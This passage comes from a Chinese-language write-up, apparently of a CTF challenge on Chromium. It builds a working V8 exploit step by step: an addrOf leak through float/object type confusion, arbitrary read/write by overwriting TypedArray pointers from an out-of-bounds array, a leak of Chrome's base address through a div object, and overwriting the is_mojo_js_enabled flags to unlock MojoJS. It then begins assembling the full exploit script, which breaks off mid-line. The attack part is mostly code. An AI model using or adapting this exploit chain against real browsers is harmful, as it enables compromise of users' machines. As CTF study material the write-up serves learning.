href="#addrOf" class="headerlink" title="addrOf"></a>addrOf</h5><p>泄露地址的方式很简单，构造 Float 和 Object 的类型混淆就行，通过 Object 数组放入对象，再利用 oob_arr 越界把对象当作浮点数（也就是对象的地址）读出来即可：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Uint32Array</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> b <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Uint32Array</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> oob_arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1.1</span><span class="token punctuation">,</span> <span class="token number">1.2</span><span class="token punctuation">,</span> <span class="token number">1.3</span><span class="token punctuation">,</span> <span class="token number">1.4</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">let</span> obj_faker <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">DebugPrint</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">DebugPrint</span><span class="token punctuation">(</span>oob_arr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">DebugPrint</span><span class="token punctuation">(</span>obj_faker<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">SystemBreak</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>调试看到 obj_faker 和 oob_arr 的信息：<br><img src="/images/68622871/5.png" alt="obj_faker"></p><p><img src="/images/68622871/7.png" alt="oob_arr"></p><p>计算偏移：<br><img src="/images/68622871/8.png" alt="offset_addrOf"></p><p><strong>注意：</strong> 因为 FixedDoubleArray 每个元素的大小是 8 字节，所以计算索引的时候是除以 8，而 FixedArray 每个元素都是对象的指针或者 smi （小整数），而且是 pointer compress （即指针压缩）的，占用 4 字节，所以 leak 出来的低 4 字节才是对象地址（压缩后的）</p><p>根据偏移可以编写 addrOf 函数了：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">addrOf</span><span class="token punctuation">(</span><span class="token parameter">obj</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    obj_faker<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> obj<span class="token punctuation">;</span>    <span class="token keyword">return</span> oob_arr<span class="token punctuation">[</span><span class="token number">7</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">f2i</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xfffffffn</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>为了方便浮点数和整数的转换还添加了下面的代码：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">let</span> conversion_buffer <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayBuffer</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> float_view <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Float64Array</span><span class="token punctuation">(</span>conversion_buffer<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> int_view <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">BigUint64Array</span><span class="token punctuation">(</span>conversion_buffer<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token class-name">BigInt</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">hex</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token string">'0x'</span> <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token class-name">BigInt</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">i2f</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    int_view<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> float_view<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token class-name">Number</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">f2i</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    float_view<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> int_view<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h5 id="AAR-AAW"><a href="#AAR-AAW" class="headerlink" title="AAR/AAW"></a>AAR/AAW</h5><p>大多数情况下，可以利用 oob_arr 的越界写，改写 ArrayBuffer 的 backing_store 指针，来进行任意地址读写</p><p>不过这里参照 Hatena 师傅的 wp <a href="#Hatena_wp">#Hatena_wp</a>，可以利用 TypedArray 类似的字段进行任意地址读写，先看看下面代码：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Uint32Array</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> b <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Uint32Array</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> oob_arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1.1</span><span class="token punctuation">,</span> <span class="token number">1.2</span><span class="token punctuation">,</span> <span class="token number">1.3</span><span class="token punctuation">,</span> <span class="token number">1.4</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">let</span> obj_faker <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">let</span> float_arr <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Float64Array</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">DebugPrint</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">DebugPrint</span><span class="token punctuation">(</span>oob_arr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">DebugPrint</span><span class="token punctuation">(</span>obj_faker<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">DebugPrint</span><span class="token punctuation">(</span>float_arr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">SystemBreak</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以看到，data_ptr 由 base_pointer 和 external_pointer 组成：<br><img src="/images/68622871/9.png" alt="TypedArray_data_ptr"></p><p>可以发现 <strong>data_ptr = external_pointer + base_pointer</strong>，而且这个 external_pointer 含有完整指针的高 4 字节的地址，有了这个也可以得到对象的完整的 64 bit 的地址了<br><img src="/images/68622871/10.png" alt="data_ptr_mem"></p><p>同样地计算偏移后即可构造处任意地址读写：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">let</span> old_28 <span class="token operator">=</span> oob_arr<span class="token punctuation">[</span><span class="token number">28</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token comment">// external_pointer</span><span class="token keyword">let</span> old_29 <span class="token operator">=</span> oob_arr<span class="token punctuation">[</span><span class="token number">29</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token comment">// base_pointer</span><span class="token keyword">let</span> r13 <span class="token operator">=</span> old_28<span class="token punctuation">.</span><span class="token function">f2i</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xffffffff00000000n</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'old_28 = '</span> <span class="token operator">+</span> old_28<span class="token punctuation">.</span><span class="token function">f2i</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">hex</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'old_29 = '</span> <span class="token operator">+</span> old_29<span class="token punctuation">.</span><span class="token function">f2i</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">hex</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">function</span> <span class="token function">arb_read</span><span class="token punctuation">(</span><span class="token parameter">addr</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    oob_arr<span class="token punctuation">[</span><span class="token number">28</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>addr <span class="token operator">&amp;</span> <span class="token number">0xffffffff00000000n</span><span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token number">7n</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">i2f</span><span class="token punctuation">(</span><span class="token punctuation">)</span>    oob_arr<span class="token punctuation">[</span><span class="token number">29</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">(</span>addr <span class="token operator">-</span> <span class="token number">8n</span><span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token number">1n</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xffffffffn</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">i2f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> float_arr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">f2i</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">arb_write</span><span class="token punctuation">(</span><span class="token parameter">addr<span class="token punctuation">,</span> value</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    oob_arr<span class="token punctuation">[</span><span class="token number">28</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>addr <span class="token operator">&amp;</span> <span class="token number">0xffffffff00000000n</span><span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token number">7n</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">i2f</span><span class="token punctuation">(</span><span class="token punctuation">)</span>    oob_arr<span class="token punctuation">[</span><span class="token number">29</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">(</span>addr <span class="token operator">-</span> <span class="token number">8n</span><span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token number">1n</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xffffffffn</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">i2f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    float_arr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> value<span class="token punctuation">.</span><span class="token function">i2f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h5 id="Enable-Mojo"><a href="#Enable-Mojo" class="headerlink" title="Enable Mojo"></a>Enable Mojo</h5><p>有了任意地址读写和 leak 用的 addrOf，可以先泄露 chrome 的基地址</p><p>泄露 chrome 的基地址用到了 DOM 结点对象，这里使用 div ，在 +0xC 偏移处含有一个 chrome 段内的指针，计算可得 chrome 的地址：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">let</span> div <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">'div'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> div_addr <span class="token operator">=</span> <span class="token function">addrOf</span><span class="token punctuation">(</span>div<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1n</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'div_addr = '</span> <span class="token operator">+</span> div_addr<span class="token punctuation">.</span><span class="token function">hex</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> chrome_base <span class="token operator">=</span> <span class="token function">arb_read</span><span class="token punctuation">(</span>r13 <span class="token operator">|</span> <span class="token punctuation">(</span>div_addr <span class="token operator">+</span> <span class="token number">0xCn</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">0x000000000c1bb7c0n</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'chrome_base = '</span> <span class="token operator">+</span> chrome_base<span class="token punctuation">.</span><span class="token function">hex</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>上面的偏移，只能先 leak 出来看看，然后查符号表看看低 12 bits 相同的有哪些一个个试了 </p><p>最后改写 <code>is_mojo_js_enabled</code> 和 <code>is_mojo_js_test_enabled</code> 为 true（非 0 值）刷新页面：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">let</span> is_mojo_js_enabled <span class="token operator">=</span> chrome_base <span class="token operator">+</span> <span class="token number">0x000000000c560f0en</span><span class="token punctuation">;</span><span class="token keyword">let</span> is_mojo_js_test_enabled <span class="token operator">=</span> chrome_base <span class="token operator">+</span> <span class="token number">0x000000000c560f0fn</span><span class="token punctuation">;</span><span class="token comment">// enable mojo</span><span class="token function">arb_write</span><span class="token punctuation">(</span>is_mojo_js_enabled<span class="token punctuation">,</span> <span class="token number">1n</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">arb_write</span><span class="token punctuation">(</span>is_mojo_js_test_enabled<span class="token punctuation">,</span> <span class="token number">1n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'mojo enable!'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>window<span class="token punctuation">.</span>location<span class="token punctuation">.</span><span class="token function">reload</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>偏移可以通过查符号表获得：</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell">$ nm --demangle chromium/chrome <span class="token operator">|</span> <span class="token function">grep</span> is_mojo000000000c560f0e b blink::RuntimeEnabledFeaturesBase::is_mojo_js_enabled_000000000c560f0f b blink::RuntimeEnabledFeaturesBase::is_mojo_js_test_enabled_<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>因为刷新页面后，这个页面的 js 对象就要回收了，因为我们改写了 TypedArray 的两个指针，可能会在释放内存的时候 crash，所以需要恢复这两个指针再刷新：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">cleanup</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    oob_arr<span class="token punctuation">[</span><span class="token number">28</span><span class="token punctuation">]</span> <span class="token operator">=</span> old_28<span class="token punctuation">;</span>    oob_arr<span class="token punctuation">[</span><span class="token number">29</span><span class="token punctuation">]</span> <span class="token operator">=</span> old_29<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token function">cleanup</span><span class="token punctuation">(</span><span class="token punctuation">)</span>window<span class="token punctuation">.</span>location<span class="token punctuation">.</span><span class="token function">reload</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><em>实际上好像并不会 crash，应该和环境有关</em></p><hr><p>至此，完整的代码如下：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token operator">&lt;</span>script src<span class="token operator">=</span><span class="token string">"mojo/mojo_bindings.js"</span><span class="token operator">></span><span class="token operator">&lt;</span><span class="token operator">/</span>script<span class="token operator">></span><span class="token operator">&lt;</span>script src<span class="token operator">=</span><span class="token string">"mojo/third_party/blink/public/mojom/CTF/ctf_interface.mojom.js"</span><span class="token operator">></span><span class="token operator">&lt;</span><span class="token operator">/</span>script<span class="token operator">></span><span class="token operator">&lt;</span>script<span class="token operator">></span><span class="token keyword">let</span> conversion_buffer <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayBuffer</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> float_view <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Float64Array</span><span class="token punctuation">(</span>conversion_buffer<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> int_view <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">BigUint64Array</span><span class="token punctuation">(</span>conversion_buffer<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token class-name">BigInt</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">hex</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token string">'0x'</span> <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token class-name">BigInt</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">i2f</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    int_view<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> float_view<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token class-name">Number</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">f2i</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    float_view<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> int_view<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">make_objs</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Uint32Array</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> b <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Uint32Array</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> oob_arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1.1</span><span class="token punctuation">,</span> <span class="token number">1.2</span><span class="token punctuation">,</span> <span class="token number">1.3</span><span class="token punctuation">,</span> <span class="token number">1.4</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> obj_faker <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> float_arr <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Float64Array</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    a<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">444444</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    b<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> <span class="token number">32</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token punctuation">[</span>oob_arr<span class="token punctuation">,</span> obj_faker<span class="token punctuation">,</span> float_arr<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">enable_mojo</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> <span class="token punctuation">[</span>oob_arr<span class="token punctuation">,</span> obj_faker<span class="token punctuation">,</span> float_arr<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">make_objs</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'oob_arr.length = '</span> <span class="token operator">+</span> oob_arr<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> old_28 <span class="token operator">=</span> oob_arr<span class="token punctuation">[</span><span class="token number">28</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token comment">// external_pointer</span>    <span class="token keyword">let</span> old_29 <span class="token operator">=</span> oob_arr<span class="token punctuation">[</span><span class="token number">29</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token comment">// base_pointer</span>    <span class="token keyword">let</span> r13 <span class="token operator">=</span> old_28<span class="token punctuation">.</span><span class="token function">f2i</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xffffffff00000000n</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'old_28 = '</span> <span class="token operator">+</span> old_28<span class="token punctuation">.</span><span class="token function">f2i</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">hex</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'old_29 = '</span> <span class="token operator">+</span> old_29<span class="token punctuation">.</span><span class="token function">f2i</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">hex</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">function</span> <span class="token function">addrOf</span><span class="token punctuation">(</span><span class="token parameter">obj</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        obj_faker<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> obj<span class="token punctuation">;</span>        <span class="token keyword">return</span> oob_arr<span class="token punctuation">[</span><span class="token number">7</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">f2i</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xfffffffn</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">function</span> <span class="token function">arb_read</span><span class="token punctuation">(</span><span class="token parameter">addr</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        oob_arr<span class="token punctuation">[</span><span class="token number">28</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>addr <span class="token operator">&amp;</span> <span class="token number">0xffffffff00000000n</span><span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token number">7n</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">i2f</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        oob_arr<span class="token punctuation">[</span><span class="token number">29</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">(</span>addr <span class="token operator">-</span> <span class="token number">8n</span><span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token number">1n</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xffffffffn</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">i2f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> float_arr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">f2i</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>        <span class="token keyword">function</span> <span class="token function">arb_write</span><span class="token punctuation">(</span><span class="token parameter">addr<span class="token punctuation">,</span> value</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        oob_arr<span class="token punctuation">[</span><span class="token number">28</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>addr <span class="token operator">&amp;</span> <span class="token number">0xffffffff00000000n</span><span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token number">7n</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">i2f</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        oob_arr<span class="token punctuation">[</span><span class="token number">29</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">(</span>addr <span class="token operator">-</span> <span class="token number">8n</span><span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token number">1n</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xffffffffn</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">i2f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        float_arr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> value<span class="token punctuation">.</span><span class="token function">i2f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">let</span> div <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">'div'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> div_addr <span class="token operator">=</span> <span class="token function">addrOf</span><span class="token punctuation">(</span>div<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1n</span><span class="token punctuation">;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'div_addr = '</span> <span class="token operator">+</span> div_addr<span class="token punctuation">.</span><span class="token function">hex</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> chrome_base <span class="token operator">=</span> <span class="token function">arb_read</span><span class="token punctuation">(</span>r13 <span class="token operator">|</span> <span class="token punctuation">(</span>div_addr <span class="token operator">+</span> <span class="token number">0xCn</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">0x000000000c1bb7c0n</span><span class="token punctuation">;</span>    console<span class="token 